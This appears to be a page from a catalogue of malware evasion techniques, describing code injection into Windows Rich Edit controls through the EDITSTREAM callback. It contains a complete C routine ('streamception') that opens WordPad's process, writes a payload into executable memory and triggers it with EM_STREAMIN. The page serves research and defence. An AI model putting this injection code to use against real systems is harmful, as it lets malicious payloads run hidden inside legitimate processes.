EditWordBreakProc

Created the Tuesday 13 October 2020. Updated 6 months, 2 weeks ago.

Edit controls, including Rich Edit controls, are a common type of Windows control found in many applications. They can be embedded directly in the application or as subclassed windows.

When these controls display text in multiline mode, they use a callback function called EditWordBreakProc. This function is called every time the control needs to do something related to word wrapping.

Additionally, when a Rich Edit control receives the EM_STREAMIN message, it uses the information provided in an EDITSTREAM structure to transfer data into or out of the control. The pfnCallback field of this structure can be used to point to a payload in memory, allowing for the injection of malicious code.

Technique Identifier

U1229

Technique Tags

Edit controls Rich Edit controls Windows control multiline mode EditWordBreakProc callback function word wrapping EM_STREAMIN message EDITSTREAM structure pfnCallback field

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

typedef struct _editstream {
  DWORD_PTR          dwCookie;
  DWORD              dwError;
  EDITSTREAMCALLBACK pfnCallback;
} EDITSTREAM;

VOID streamception(LPVOID payload, DWORD payloadSize) {
    HANDLE        hp;
    DWORD         id;
    HWND          wpw, rew;
    LPVOID        cs, ds;
    SIZE_T        rd, wr;
    EDITSTREAM    es;
    
    // 1. Get window handles
    wpw = FindWindow(L"WordPadClass", NULL);
    rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
    
    // 2. Obtain the process id and try to open process
    GetWindowThreadProcessId(rew, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 3. Allocate RWX memory and copy the payload there.
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 4. Allocate RW memory and copy the EDITSTREAM structure there.
    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        
    es.dwCookie    = 0;
    es.dwError     = 0;
    es.pfnCallback = cs;
    
    WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);
    
    // 5. Trigger payload with EM_STREAMIN
    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);

    // 6. Free memory and close process handle
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline | modexp